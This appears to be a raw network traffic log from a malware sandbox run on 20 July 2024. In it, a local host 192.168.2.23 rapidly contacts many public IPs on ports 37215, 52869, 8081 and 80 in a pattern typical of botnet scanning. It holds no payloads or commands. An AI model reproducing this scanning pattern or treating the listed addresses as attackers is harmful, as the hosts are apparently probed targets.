Jul 20, 2024 23:00:58.740940094 CEST	37906	37215	192.168.2.23	41.53.184.177
Jul 20, 2024 23:00:58.741766930 CEST	46204	8081	192.168.2.23	192.33.113.202
Jul 20, 2024 23:00:58.742506027 CEST	37215	34534	157.86.250.128	192.168.2.23
Jul 20, 2024 23:00:58.742669106 CEST	34534	37215	192.168.2.23	157.86.250.128
Jul 20, 2024 23:00:58.742971897 CEST	8081	49284	43.197.192.55	192.168.2.23
Jul 20, 2024 23:00:58.743055105 CEST	49284	8081	192.168.2.23	43.197.192.55
Jul 20, 2024 23:00:58.743307114 CEST	34896	80	192.168.2.23	95.185.71.137
Jul 20, 2024 23:00:58.743879080 CEST	41954	52869	192.168.2.23	108.144.159.228
Jul 20, 2024 23:00:58.744642973 CEST	80	34154	95.185.71.137	192.168.2.23
Jul 20, 2024 23:00:58.745433092 CEST	52869	59250	115.35.215.139	192.168.2.23
Jul 20, 2024 23:00:58.745487928 CEST	59250	52869	192.168.2.23	115.35.215.139
Jul 20, 2024 23:00:58.746292114 CEST	37215	37906	41.53.184.177	192.168.2.23
Jul 20, 2024 23:00:58.746345997 CEST	37906	37215	192.168.2.23	41.53.184.177
Jul 20, 2024 23:00:58.746613979 CEST	49544	37215	192.168.2.23	41.37.144.8
Jul 20, 2024 23:00:58.746906042 CEST	8081	46204	192.33.113.202	192.168.2.23
Jul 20, 2024 23:00:58.746953011 CEST	46204	8081	192.168.2.23	192.33.113.202
Jul 20, 2024 23:00:58.747211933 CEST	45024	8081	192.168.2.23	130.9.138.83
Jul 20, 2024 23:00:58.748744965 CEST	80	34896	95.185.71.137	192.168.2.23
Jul 20, 2024 23:00:58.748805046 CEST	34896	80	192.168.2.23	95.185.71.137
Jul 20, 2024 23:00:58.748990059 CEST	51312	80	192.168.2.23	95.196.201.154
Jul 20, 2024 23:00:58.748990059 CEST	51312	80	192.168.2.23	95.196.201.154
Jul 20, 2024 23:00:58.749511003 CEST	59542	52869	192.168.2.23	75.207.187.133
Jul 20, 2024 23:00:58.749674082 CEST	52869	41954	108.144.159.228	192.168.2.23
Jul 20, 2024 23:00:58.749731064 CEST	41954	52869	192.168.2.23	108.144.159.228
Jul 20, 2024 23:00:58.750422001 CEST	57256	37215	192.168.2.23	157.43.107.32
Jul 20, 2024 23:00:58.751646996 CEST	37215	49544	41.37.144.8	192.168.2.23
Jul 20, 2024 23:00:58.751699924 CEST	49544	37215	192.168.2.23	41.37.144.8
Jul 20, 2024 23:00:58.752428055 CEST	52062	80	192.168.2.23	95.196.201.154
Jul 20, 2024 23:00:58.753067970 CEST	8081	45024	130.9.138.83	192.168.2.23
Jul 20, 2024 23:00:58.753129005 CEST	45024	8081	192.168.2.23	130.9.138.83
Jul 20, 2024 23:00:58.753294945 CEST	51696	52869	192.168.2.23	143.254.34.7
Jul 20, 2024 23:00:58.754230976 CEST	80	51312	95.196.201.154	192.168.2.23
Jul 20, 2024 23:00:58.754597902 CEST	52869	59542	75.207.187.133	192.168.2.23
Jul 20, 2024 23:00:58.754647970 CEST	59542	52869	192.168.2.23	75.207.187.133
Jul 20, 2024 23:00:58.755356073 CEST	37215	57256	157.43.107.32	192.168.2.23
Jul 20, 2024 23:00:58.755431890 CEST	57256	37215	192.168.2.23	157.43.107.32
Jul 20, 2024 23:00:58.757457018 CEST	52632	37215	192.168.2.23	197.12.37.150
Jul 20, 2024 23:00:58.757570028 CEST	80	52062	95.196.201.154	192.168.2.23
Jul 20, 2024 23:00:58.757648945 CEST	52062	80	192.168.2.23	95.196.201.154
Jul 20, 2024 23:00:58.758604050 CEST	52869	51696	143.254.34.7	192.168.2.23
Jul 20, 2024 23:00:58.758784056 CEST	51696	52869	192.168.2.23	143.254.34.7
Jul 20, 2024 23:00:58.759475946 CEST	43120	80	192.168.2.23	95.65.53.181
Jul 20, 2024 23:00:58.759475946 CEST	43120	80	192.168.2.23	95.65.53.181
Jul 20, 2024 23:00:58.759917021 CEST	47212	52869	192.168.2.23	54.68.100.131
Jul 20, 2024 23:00:58.760730028 CEST	44056	37215	192.168.2.23	158.165.91.44
Jul 20, 2024 23:00:58.762964010 CEST	43874	80	192.168.2.23	95.65.53.181
Jul 20, 2024 23:00:58.762969971 CEST	37215	52632	197.12.37.150	192.168.2.23
Jul 20, 2024 23:00:58.763030052 CEST	52632	37215	192.168.2.23	197.12.37.150
Jul 20, 2024 23:00:58.763612032 CEST	57776	52869	192.168.2.23	189.28.183.134
Jul 20, 2024 23:00:58.764631987 CEST	80	43120	95.65.53.181	192.168.2.23
Jul 20, 2024 23:00:58.765204906 CEST	35840	37215	192.168.2.23	72.48.156.196
Jul 20, 2024 23:00:58.765420914 CEST	52869	47212	54.68.100.131	192.168.2.23
Jul 20, 2024 23:00:58.765604019 CEST	47212	52869	192.168.2.23	54.68.100.131
Jul 20, 2024 23:00:58.765902996 CEST	37215	44056	158.165.91.44	192.168.2.23
Jul 20, 2024 23:00:58.766056061 CEST	44056	37215	192.168.2.23	158.165.91.44
Jul 20, 2024 23:00:58.767030954 CEST	34716	80	192.168.2.23	95.247.205.18
Jul 20, 2024 23:00:58.767086029 CEST	34716	80	192.168.2.23	95.247.205.18
Jul 20, 2024 23:00:58.767479897 CEST	47964	52869	192.168.2.23	71.113.201.241
Jul 20, 2024 23:00:58.768204927 CEST	80	43874	95.65.53.181	192.168.2.23
Jul 20, 2024 23:00:58.768260002 CEST	43874	80	192.168.2.23	95.65.53.181
Jul 20, 2024 23:00:58.768327951 CEST	47996	37215	192.168.2.23	157.75.190.222
Jul 20, 2024 23:00:58.768767118 CEST	80	45498	95.189.55.135	192.168.2.23
Jul 20, 2024 23:00:58.768940926 CEST	52869	57776	189.28.183.134	192.168.2.23
Jul 20, 2024 23:00:58.769002914 CEST	57776	52869	192.168.2.23	189.28.183.134
Jul 20, 2024 23:00:58.770484924 CEST	35476	80	192.168.2.23	95.247.205.18
Jul 20, 2024 23:00:58.770664930 CEST	37215	35840	72.48.156.196	192.168.2.23
Jul 20, 2024 23:00:58.770750046 CEST	35840	37215	192.168.2.23	72.48.156.196
Jul 20, 2024 23:00:58.771111965 CEST	48494	52869	192.168.2.23	124.144.192.144
Jul 20, 2024 23:00:58.771245956 CEST	50644	8081	192.168.2.23	51.195.238.25
Jul 20, 2024 23:00:58.772336006 CEST	80	34716	95.247.205.18	192.168.2.23
Jul 20, 2024 23:00:58.772388935 CEST	52869	47964	71.113.201.241	192.168.2.23
Jul 20, 2024 23:00:58.772507906 CEST	47964	52869	192.168.2.23	71.113.201.241
Jul 20, 2024 23:00:58.772996902 CEST	39668	37215	192.168.2.23	157.53.103.29
Jul 20, 2024 23:00:58.773629904 CEST	37215	47996	157.75.190.222	192.168.2.23
Jul 20, 2024 23:00:58.773700953 CEST	47996	37215	192.168.2.23	157.75.190.222
Jul 20, 2024 23:00:58.774240017 CEST	33197	8081	192.168.2.23	103.246.66.113
Jul 20, 2024 23:00:58.774240017 CEST	33197	8081	192.168.2.23	17.52.174.48
Jul 20, 2024 23:00:58.774247885 CEST	33197	8081	192.168.2.23	106.17.95.42
Jul 20, 2024 23:00:58.774260044 CEST	33197	8081	192.168.2.23	191.239.160.98
Jul 20, 2024 23:00:58.774260044 CEST	33197	8081	192.168.2.23	120.209.164.155
Jul 20, 2024 23:00:58.774260044 CEST	33197	8081	192.168.2.23	34.212.45.232
Jul 20, 2024 23:00:58.774298906 CEST	33197	8081	192.168.2.23	196.108.108.125
Jul 20, 2024 23:00:58.774306059 CEST	33197	8081	192.168.2.23	58.132.155.54
Jul 20, 2024 23:00:58.774310112 CEST	33197	8081	192.168.2.23	18.13.7.9
Jul 20, 2024 23:00:58.774310112 CEST	33197	8081	192.168.2.23	24.239.40.8
Jul 20, 2024 23:00:58.774460077 CEST	33197	8081	192.168.2.23	156.247.245.56
Jul 20, 2024 23:00:58.774745941 CEST	33197	8081	192.168.2.23	76.18.7.217
Jul 20, 2024 23:00:58.774745941 CEST	33197	8081	192.168.2.23	193.209.153.188
Jul 20, 2024 23:00:58.774745941 CEST	33197	8081	192.168.2.23	192.191.159.217
Jul 20, 2024 23:00:58.774745941 CEST	33197	8081	192.168.2.23	84.215.180.12
Jul 20, 2024 23:00:58.774745941 CEST	33197	8081	192.168.2.23	64.83.128.214
Jul 20, 2024 23:00:58.774745941 CEST	33197	8081	192.168.2.23	78.68.1.6
Jul 20, 2024 23:00:58.774746895 CEST	33197	8081	192.168.2.23	111.121.45.204
Jul 20, 2024 23:00:58.774746895 CEST	33197	8081	192.168.2.23	156.108.247.31
Jul 20, 2024 23:00:58.774893045 CEST	33197	8081	192.168.2.23	168.51.124.171
Jul 20, 2024 23:00:58.774893999 CEST	33197	8081	192.168.2.23	146.197.185.36
Jul 20, 2024 23:00:58.774893999 CEST	33197	8081	192.168.2.23	135.223.73.160
Jul 20, 2024 23:00:58.774893999 CEST	33197	8081	192.168.2.23	196.85.205.55
Jul 20, 2024 23:00:58.774893999 CEST	33197	8081	192.168.2.23	134.225.15.254
Jul 20, 2024 23:00:58.774893999 CEST	33197	8081	192.168.2.23	59.136.60.140
Jul 20, 2024 23:00:58.774893999 CEST	33197	8081	192.168.2.23	196.106.71.236
Jul 20, 2024 23:00:58.774893999 CEST	33197	8081	192.168.2.23	98.227.60.147
Jul 20, 2024 23:00:58.775064945 CEST	33197	8081	192.168.2.23	35.148.37.133
Jul 20, 2024 23:00:58.775065899 CEST	33197	8081	192.168.2.23	210.14.121.60
Jul 20, 2024 23:00:58.775065899 CEST	33197	8081	192.168.2.23	37.235.122.188
Jul 20, 2024 23:00:58.775065899 CEST	33197	8081	192.168.2.23	121.148.70.149
Jul 20, 2024 23:00:58.775065899 CEST	33197	8081	192.168.2.23	189.27.148.113
Jul 20, 2024 23:00:58.775065899 CEST	33197	8081	192.168.2.23	154.17.124.112
Jul 20, 2024 23:00:58.775065899 CEST	33197	8081	192.168.2.23	177.249.216.221
Jul 20, 2024 23:00:58.775065899 CEST	33197	8081	192.168.2.23	82.72.60.217
Jul 20, 2024 23:00:58.775126934 CEST	33197	8081	192.168.2.23	174.79.242.178
Jul 20, 2024 23:00:58.775126934 CEST	33197	8081	192.168.2.23	223.239.79.253
Jul 20, 2024 23:00:58.775126934 CEST	33197	8081	192.168.2.23	209.249.90.159
Jul 20, 2024 23:00:58.775126934 CEST	33197	8081	192.168.2.23	52.45.213.200
Jul 20, 2024 23:00:58.775126934 CEST	33197	8081	192.168.2.23	164.76.168.173
Jul 20, 2024 23:00:58.775126934 CEST	33197	8081	192.168.2.23	114.150.129.28
Jul 20, 2024 23:00:58.775126934 CEST	33197	8081	192.168.2.23	85.248.112.147
Jul 20, 2024 23:00:58.775126934 CEST	33197	8081	192.168.2.23	168.148.247.48
Jul 20, 2024 23:00:58.775604963 CEST	33197	8081	192.168.2.23	79.198.127.147
Jul 20, 2024 23:00:58.775604963 CEST	33197	8081	192.168.2.23	148.230.251.227
Jul 20, 2024 23:00:58.775604963 CEST	33197	8081	192.168.2.23	48.140.191.241
Jul 20, 2024 23:00:58.775604963 CEST	33197	8081	192.168.2.23	114.79.117.232
Jul 20, 2024 23:00:58.775604963 CEST	33197	8081	192.168.2.23	186.8.210.141
Jul 20, 2024 23:00:58.775604963 CEST	33197	8081	192.168.2.23	27.208.89.228
Jul 20, 2024 23:00:58.775604963 CEST	33197	8081	192.168.2.23	41.181.82.32
Jul 20, 2024 23:00:58.775604963 CEST	33197	8081	192.168.2.23	174.52.250.182
Jul 20, 2024 23:00:58.775971889 CEST	33197	8081	192.168.2.23	13.38.37.160
Jul 20, 2024 23:00:58.775971889 CEST	33197	8081	192.168.2.23	61.90.167.62
Jul 20, 2024 23:00:58.775973082 CEST	33197	8081	192.168.2.23	49.188.118.151
Jul 20, 2024 23:00:58.775973082 CEST	33197	8081	192.168.2.23	9.100.200.155
Jul 20, 2024 23:00:58.775973082 CEST	33197	8081	192.168.2.23	132.209.44.176
Jul 20, 2024 23:00:58.775973082 CEST	33197	8081	192.168.2.23	39.175.200.53
Jul 20, 2024 23:00:58.775973082 CEST	33197	8081	192.168.2.23	34.179.228.186
Jul 20, 2024 23:00:58.775973082 CEST	33197	8081	192.168.2.23	89.46.119.250
Jul 20, 2024 23:00:58.776057959 CEST	80	35476	95.247.205.18	192.168.2.23
Jul 20, 2024 23:00:58.776422977 CEST	52869	48494	124.144.192.144	192.168.2.23
Jul 20, 2024 23:00:58.776456118 CEST	8081	50644	51.195.238.25	192.168.2.23
Jul 20, 2024 23:00:58.776909113 CEST	33197	8081	192.168.2.23	170.250.25.127
Jul 20, 2024 23:00:58.776909113 CEST	33197	8081	192.168.2.23	190.72.203.27
Jul 20, 2024 23:00:58.776909113 CEST	33197	8081	192.168.2.23	39.71.133.38
Jul 20, 2024 23:00:58.776909113 CEST	33197	8081	192.168.2.23	177.7.85.226
Jul 20, 2024 23:00:58.776909113 CEST	33197	8081	192.168.2.23	104.105.134.203
Jul 20, 2024 23:00:58.776909113 CEST	33197	8081	192.168.2.23	223.201.225.158
Jul 20, 2024 23:00:58.776910067 CEST	33197	8081	192.168.2.23	72.85.245.128
Jul 20, 2024 23:00:58.776910067 CEST	33197	8081	192.168.2.23	217.39.177.231
Jul 20, 2024 23:00:58.778279066 CEST	33197	8081	192.168.2.23	9.161.22.197
Jul 20, 2024 23:00:58.778279066 CEST	33197	8081	192.168.2.23	9.54.5.202
Jul 20, 2024 23:00:58.778279066 CEST	33197	8081	192.168.2.23	185.96.246.241
Jul 20, 2024 23:00:58.778279066 CEST	33197	8081	192.168.2.23	112.167.70.249
Jul 20, 2024 23:00:58.778280020 CEST	33197	8081	192.168.2.23	171.225.173.192
Jul 20, 2024 23:00:58.778280020 CEST	33197	8081	192.168.2.23	208.218.127.60
Jul 20, 2024 23:00:58.778280020 CEST	33197	8081	192.168.2.23	203.254.229.237
Jul 20, 2024 23:00:58.778280020 CEST	33197	8081	192.168.2.23	103.138.137.54
Jul 20, 2024 23:00:58.778620958 CEST	37215	39668	157.53.103.29	192.168.2.23
Jul 20, 2024 23:00:58.781325102 CEST	8081	33197	103.246.66.113	192.168.2.23
Jul 20, 2024 23:00:58.781368971 CEST	8081	33197	106.17.95.42	192.168.2.23
Jul 20, 2024 23:00:58.781399965 CEST	8081	33197	120.209.164.155	192.168.2.23
Jul 20, 2024 23:00:58.781457901 CEST	8081	33197	18.13.7.9	192.168.2.23
Jul 20, 2024 23:00:58.781476974 CEST	33197	8081	192.168.2.23	66.103.99.226
Jul 20, 2024 23:00:58.781476974 CEST	33197	8081	192.168.2.23	143.122.125.16
Jul 20, 2024 23:00:58.781476974 CEST	33197	8081	192.168.2.23	134.109.63.125
Jul 20, 2024 23:00:58.781476974 CEST	33197	8081	192.168.2.23	75.251.253.18
Jul 20, 2024 23:00:58.781476974 CEST	33197	8081	192.168.2.23	171.157.132.27
Jul 20, 2024 23:00:58.781476974 CEST	33197	8081	192.168.2.23	163.79.5.176
Jul 20, 2024 23:00:58.781476974 CEST	33197	8081	192.168.2.23	34.190.77.82
Jul 20, 2024 23:00:58.781476974 CEST	33197	8081	192.168.2.23	58.40.54.136
Jul 20, 2024 23:00:58.781488895 CEST	8081	33197	196.108.108.125	192.168.2.23
Jul 20, 2024 23:00:58.781517982 CEST	8081	33197	24.239.40.8	192.168.2.23
Jul 20, 2024 23:00:58.781547070 CEST	8081	33197	76.18.7.217	192.168.2.23
Jul 20, 2024 23:00:58.781575918 CEST	8081	33197	168.51.124.171	192.168.2.23
Jul 20, 2024 23:00:58.781605959 CEST	8081	33197	156.247.245.56	192.168.2.23
Jul 20, 2024 23:00:58.782186031 CEST	8081	33197	146.197.185.36	192.168.2.23
Jul 20, 2024 23:00:58.782228947 CEST	8081	33197	79.198.127.147	192.168.2.23
Jul 20, 2024 23:00:58.782260895 CEST	8081	33197	58.132.155.54	192.168.2.23
Jul 20, 2024 23:00:58.782291889 CEST	8081	33197	148.230.251.227	192.168.2.23
Jul 20, 2024 23:00:58.782321930 CEST	8081	33197	135.223.73.160	192.168.2.23
Jul 20, 2024 23:00:58.782354116 CEST	8081	33197	191.239.160.98	192.168.2.23
Jul 20, 2024 23:00:58.782362938 CEST	33197	8081	192.168.2.23	39.203.10.122
Jul 20, 2024 23:00:58.782362938 CEST	33197	8081	192.168.2.23	135.16.132.164
Jul 20, 2024 23:00:58.782363892 CEST	33197	8081	192.168.2.23	166.54.195.243
Jul 20, 2024 23:00:58.782363892 CEST	33197	8081	192.168.2.23	175.175.83.54
Jul 20, 2024 23:00:58.782363892 CEST	33197	8081	192.168.2.23	4.208.144.164
Jul 20, 2024 23:00:58.782363892 CEST	33197	8081	192.168.2.23	223.9.5.154
Jul 20, 2024 23:00:58.782363892 CEST	33197	8081	192.168.2.23	87.159.253.182
Jul 20, 2024 23:00:58.782363892 CEST	33197	8081	192.168.2.23	192.119.204.171
Jul 20, 2024 23:00:58.782382965 CEST	8081	33197	196.85.205.55	192.168.2.23
Jul 20, 2024 23:00:58.782439947 CEST	8081	33197	48.140.191.241	192.168.2.23
Jul 20, 2024 23:00:58.782788038 CEST	33197	8081	192.168.2.23	99.69.68.118
Jul 20, 2024 23:00:58.782788038 CEST	33197	8081	192.168.2.23	140.252.13.189
Jul 20, 2024 23:00:58.782788038 CEST	33197	8081	192.168.2.23	104.174.170.81
Jul 20, 2024 23:00:58.782788992 CEST	33197	8081	192.168.2.23	188.227.121.49
Jul 20, 2024 23:00:58.782788992 CEST	33197	8081	192.168.2.23	61.34.177.207
Jul 20, 2024 23:00:58.782788992 CEST	33197	8081	192.168.2.23	112.205.159.182
Jul 20, 2024 23:00:58.782788992 CEST	33197	8081	192.168.2.23	170.189.58.93
Jul 20, 2024 23:00:58.782788992 CEST	33197	8081	192.168.2.23	207.252.67.135
Jul 20, 2024 23:00:58.782987118 CEST	33197	8081	192.168.2.23	41.6.16.49
Jul 20, 2024 23:00:58.782987118 CEST	33197	8081	192.168.2.23	173.54.17.172
Jul 20, 2024 23:00:58.782987118 CEST	33197	8081	192.168.2.23	124.254.124.35
Jul 20, 2024 23:00:58.782988071 CEST	33197	8081	192.168.2.23	103.135.154.99
Jul 20, 2024 23:00:58.782988071 CEST	33197	8081	192.168.2.23	140.163.142.42
Jul 20, 2024 23:00:58.782988071 CEST	33197	8081	192.168.2.23	98.138.1.67
Jul 20, 2024 23:00:58.782988071 CEST	33197	8081	192.168.2.23	205.157.211.195
Jul 20, 2024 23:00:58.782988071 CEST	48494	52869	192.168.2.23	124.144.192.144
Jul 20, 2024 23:00:58.783085108 CEST	8081	33197	34.212.45.232	192.168.2.23
Jul 20, 2024 23:00:58.783129930 CEST	8081	33197	134.225.15.254	192.168.2.23
Jul 20, 2024 23:00:58.783190966 CEST	8081	33197	193.209.153.188	192.168.2.23
Jul 20, 2024 23:00:58.783222914 CEST	8081	33197	174.79.242.178	192.168.2.23
Jul 20, 2024 23:00:58.783253908 CEST	8081	33197	35.148.37.133	192.168.2.23
Jul 20, 2024 23:00:58.783282042 CEST	8081	33197	192.191.159.217	192.168.2.23
Jul 20, 2024 23:00:58.783313036 CEST	8081	33197	59.136.60.140	192.168.2.23
Jul 20, 2024 23:00:58.783595085 CEST	8081	33197	170.250.25.127	192.168.2.23
Jul 20, 2024 23:00:58.783629894 CEST	8081	33197	196.106.71.236	192.168.2.23
Jul 20, 2024 23:00:58.784228086 CEST	8081	33197	190.72.203.27	192.168.2.23
Jul 20, 2024 23:00:58.784275055 CEST	8081	33197	98.227.60.147	192.168.2.23
Jul 20, 2024 23:00:58.784307957 CEST	8081	33197	39.71.133.38	192.168.2.23
Jul 20, 2024 23:00:58.784343958 CEST	8081	33197	9.161.22.197	192.168.2.23
Jul 20, 2024 23:00:58.784466982 CEST	33197	8081	192.168.2.23	128.16.92.174
Jul 20, 2024 23:00:58.784466982 CEST	33197	8081	192.168.2.23	155.200.157.117
Jul 20, 2024 23:00:58.784466982 CEST	33197	8081	192.168.2.23	24.254.11.204
Jul 20, 2024 23:00:58.784466982 CEST	33197	8081	192.168.2.23	120.40.164.112
Jul 20, 2024 23:00:58.784466982 CEST	33197	8081	192.168.2.23	116.129.83.111
Jul 20, 2024 23:00:58.784466982 CEST	33197	8081	192.168.2.23	12.229.46.40
Jul 20, 2024 23:00:58.784466982 CEST	33197	8081	192.168.2.23	146.219.242.200
Jul 20, 2024 23:00:58.784466982 CEST	33197	8081	192.168.2.23	202.101.188.91
Jul 20, 2024 23:00:58.784902096 CEST	33197	8081	192.168.2.23	148.241.128.127
Jul 20, 2024 23:00:58.784902096 CEST	33197	8081	192.168.2.23	112.10.233.152
Jul 20, 2024 23:00:58.784903049 CEST	33197	8081	192.168.2.23	126.97.130.58
Jul 20, 2024 23:00:58.784903049 CEST	33197	8081	192.168.2.23	174.171.224.113
Jul 20, 2024 23:00:58.784903049 CEST	33197	8081	192.168.2.23	138.55.204.52
Jul 20, 2024 23:00:58.784903049 CEST	33197	8081	192.168.2.23	74.107.212.11
Jul 20, 2024 23:00:58.784903049 CEST	50644	8081	192.168.2.23	51.195.238.25
Jul 20, 2024 23:00:58.785042048 CEST	33197	8081	192.168.2.23	141.171.97.253
Jul 20, 2024 23:00:58.785042048 CEST	33197	8081	192.168.2.23	50.170.128.175
Jul 20, 2024 23:00:58.785042048 CEST	33197	8081	192.168.2.23	87.112.177.15
Jul 20, 2024 23:00:58.785043001 CEST	33197	8081	192.168.2.23	191.43.165.233
Jul 20, 2024 23:00:58.785043001 CEST	33197	8081	192.168.2.23	70.68.58.178
Jul 20, 2024 23:00:58.785043001 CEST	33197	8081	192.168.2.23	170.243.153.104
Jul 20, 2024 23:00:58.785043001 CEST	33197	8081	192.168.2.23	105.89.179.236
Jul 20, 2024 23:00:58.786159992 CEST	80	33244	95.214.141.146	192.168.2.23
Jul 20, 2024 23:00:58.786227942 CEST	80	34154	95.185.71.137	192.168.2.23
Jul 20, 2024 23:00:58.786264896 CEST	8081	33197	84.215.180.12	192.168.2.23
Jul 20, 2024 23:00:58.786304951 CEST	8081	33197	9.54.5.202	192.168.2.23
Jul 20, 2024 23:00:58.786334038 CEST	8081	33197	114.79.117.232	192.168.2.23
Jul 20, 2024 23:00:58.786365032 CEST	8081	33197	210.14.121.60	192.168.2.23
Jul 20, 2024 23:00:58.786395073 CEST	8081	33197	223.239.79.253	192.168.2.23
Jul 20, 2024 23:00:58.786422968 CEST	8081	33197	186.8.210.141	192.168.2.23
Jul 20, 2024 23:00:58.786452055 CEST	8081	33197	209.249.90.159	192.168.2.23
Jul 20, 2024 23:00:58.786482096 CEST	8081	33197	64.83.128.214	192.168.2.23
Jul 20, 2024 23:00:58.786510944 CEST	8081	33197	185.96.246.241	192.168.2.23
Jul 20, 2024 23:00:58.786540031 CEST	8081	33197	78.68.1.6	192.168.2.23
Jul 20, 2024 23:00:58.786592007 CEST	8081	33197	112.167.70.249	192.168.2.23
Jul 20, 2024 23:00:58.786621094 CEST	8081	33197	177.7.85.226	192.168.2.23
Jul 20, 2024 23:00:58.786756039 CEST	8081	33197	111.121.45.204	192.168.2.23
Jul 20, 2024 23:00:58.787076950 CEST	8081	33197	52.45.213.200	192.168.2.23
Jul 20, 2024 23:00:58.787106037 CEST	8081	33197	104.105.134.203	192.168.2.23
Jul 20, 2024 23:00:58.787136078 CEST	8081	33197	13.38.37.160	192.168.2.23
Jul 20, 2024 23:00:58.787163973 CEST	8081	33197	27.208.89.228	192.168.2.23
Jul 20, 2024 23:00:58.787569046 CEST	8081	33197	223.201.225.158	192.168.2.23
Jul 20, 2024 23:00:58.787602901 CEST	33197	8081	192.168.2.23	72.149.250.185
Jul 20, 2024 23:00:58.787602901 CEST	33197	8081	192.168.2.23	143.254.36.87
Jul 20, 2024 23:00:58.787602901 CEST	33197	8081	192.168.2.23	117.241.52.78
Jul 20, 2024 23:00:58.787602901 CEST	33197	8081	192.168.2.23	194.130.105.156
Jul 20, 2024 23:00:58.787602901 CEST	33197	8081	192.168.2.23	206.181.92.111
Jul 20, 2024 23:00:58.787602901 CEST	33197	8081	192.168.2.23	182.180.160.231
Jul 20, 2024 23:00:58.787602901 CEST	33197	8081	192.168.2.23	183.66.55.78
Jul 20, 2024 23:00:58.787602901 CEST	33197	8081	192.168.2.23	93.210.198.101
Jul 20, 2024 23:00:58.787945986 CEST	8081	33197	171.225.173.192	192.168.2.23
Jul 20, 2024 23:00:58.787983894 CEST	33197	8081	192.168.2.23	120.209.164.155
Jul 20, 2024 23:00:58.787983894 CEST	33197	8081	192.168.2.23	168.51.124.171
Jul 20, 2024 23:00:58.787983894 CEST	33197	8081	192.168.2.23	146.197.185.36
Jul 20, 2024 23:00:58.787983894 CEST	33197	8081	192.168.2.23	135.223.73.160
Jul 20, 2024 23:00:58.787983894 CEST	33197	8081	192.168.2.23	196.85.205.55
Jul 20, 2024 23:00:58.787983894 CEST	33197	8081	192.168.2.23	134.225.15.254
Jul 20, 2024 23:00:58.787983894 CEST	33197	8081	192.168.2.23	59.136.60.140
Jul 20, 2024 23:00:58.787983894 CEST	33197	8081	192.168.2.23	196.106.71.236
Jul 20, 2024 23:00:58.788335085 CEST	8081	33197	164.76.168.173	192.168.2.23
Jul 20, 2024 23:00:58.788357973 CEST	8081	33197	156.108.247.31	192.168.2.23
Jul 20, 2024 23:00:58.788361073 CEST	33197	8081	192.168.2.23	106.17.95.42
Jul 20, 2024 23:00:58.788361073 CEST	33197	8081	192.168.2.23	76.18.7.217
Jul 20, 2024 23:00:58.788361073 CEST	33197	8081	192.168.2.23	193.209.153.188
Jul 20, 2024 23:00:58.788361073 CEST	33197	8081	192.168.2.23	192.191.159.217
Jul 20, 2024 23:00:58.788361073 CEST	33197	8081	192.168.2.23	84.215.180.12
Jul 20, 2024 23:00:58.788361073 CEST	33197	8081	192.168.2.23	64.83.128.214
Jul 20, 2024 23:00:58.788361073 CEST	33197	8081	192.168.2.23	78.68.1.6
Jul 20, 2024 23:00:58.788361073 CEST	33197	8081	192.168.2.23	111.121.45.204
Jul 20, 2024 23:00:58.788372040 CEST	8081	33197	208.218.127.60	192.168.2.23
Jul 20, 2024 23:00:58.788386106 CEST	8081	33197	66.103.99.226	192.168.2.23
Jul 20, 2024 23:00:58.788403034 CEST	8081	33197	72.85.245.128	192.168.2.23
Jul 20, 2024 23:00:58.788583040 CEST	8081	33197	143.122.125.16	192.168.2.23
Jul 20, 2024 23:00:58.788639069 CEST	8081	33197	37.235.122.188	192.168.2.23
Jul 20, 2024 23:00:58.788655043 CEST	8081	33197	17.52.174.48	192.168.2.23
Jul 20, 2024 23:00:58.788671970 CEST	8081	33197	134.109.63.125	192.168.2.23
Jul 20, 2024 23:00:58.788846970 CEST	8081	33197	203.254.229.237	192.168.2.23
Jul 20, 2024 23:00:58.789637089 CEST	8081	33197	217.39.177.231	192.168.2.23
Jul 20, 2024 23:00:58.790100098 CEST	8081	33197	75.251.253.18	192.168.2.23
Jul 20, 2024 23:00:58.790172100 CEST	8081	33197	103.138.137.54	192.168.2.23
Jul 20, 2024 23:00:58.790204048 CEST	8081	33197	171.157.132.27	192.168.2.23
Jul 20, 2024 23:00:58.790232897 CEST	8081	33197	41.6.16.49	192.168.2.23
Jul 20, 2024 23:00:58.790261984 CEST	8081	33197	163.79.5.176	192.168.2.23
Jul 20, 2024 23:00:58.790293932 CEST	8081	33197	173.54.17.172	192.168.2.23
Jul 20, 2024 23:00:58.790323973 CEST	8081	33197	99.69.68.118	192.168.2.23
Jul 20, 2024 23:00:58.790740967 CEST	8081	33197	34.190.77.82	192.168.2.23
Jul 20, 2024 23:00:58.790761948 CEST	33197	8081	192.168.2.23	191.239.160.98
Jul 20, 2024 23:00:58.790761948 CEST	33197	8081	192.168.2.23	34.212.45.232
Jul 20, 2024 23:00:58.790761948 CEST	33197	8081	192.168.2.23	170.250.25.127
Jul 20, 2024 23:00:58.790761948 CEST	33197	8081	192.168.2.23	190.72.203.27
Jul 20, 2024 23:00:58.790761948 CEST	33197	8081	192.168.2.23	39.71.133.38
Jul 20, 2024 23:00:58.790761948 CEST	33197	8081	192.168.2.23	177.7.85.226
Jul 20, 2024 23:00:58.790761948 CEST	33197	8081	192.168.2.23	104.105.134.203
Jul 20, 2024 23:00:58.790762901 CEST	33197	8081	192.168.2.23	223.201.225.158
Jul 20, 2024 23:00:58.790831089 CEST	8081	33197	124.254.124.35	192.168.2.23
Jul 20, 2024 23:00:58.791110039 CEST	33197	8081	192.168.2.23	92.6.248.38
Jul 20, 2024 23:00:58.791110039 CEST	33197	8081	192.168.2.23	179.39.1.212
Jul 20, 2024 23:00:58.791110039 CEST	33197	8081	192.168.2.23	60.38.209.220
Jul 20, 2024 23:00:58.791110039 CEST	33197	8081	192.168.2.23	81.3.157.225
Jul 20, 2024 23:00:58.791110039 CEST	33197	8081	192.168.2.23	13.12.59.90
Jul 20, 2024 23:00:58.791110039 CEST	33197	8081	192.168.2.23	130.27.118.65
Jul 20, 2024 23:00:58.791110039 CEST	33197	8081	192.168.2.23	133.31.2.232
Jul 20, 2024 23:00:58.791110039 CEST	33197	8081	192.168.2.23	126.183.131.29
Jul 20, 2024 23:00:58.791641951 CEST	33197	8081	192.168.2.23	156.108.247.31
Jul 20, 2024 23:00:58.791641951 CEST	33197	8081	192.168.2.23	66.103.99.226
Jul 20, 2024 23:00:58.791641951 CEST	33197	8081	192.168.2.23	143.122.125.16
Jul 20, 2024 23:00:58.791641951 CEST	33197	8081	192.168.2.23	134.109.63.125
Jul 20, 2024 23:00:58.791641951 CEST	33197	8081	192.168.2.23	75.251.253.18
Jul 20, 2024 23:00:58.791641951 CEST	33197	8081	192.168.2.23	171.157.132.27
Jul 20, 2024 23:00:58.791641951 CEST	33197	8081	192.168.2.23	163.79.5.176
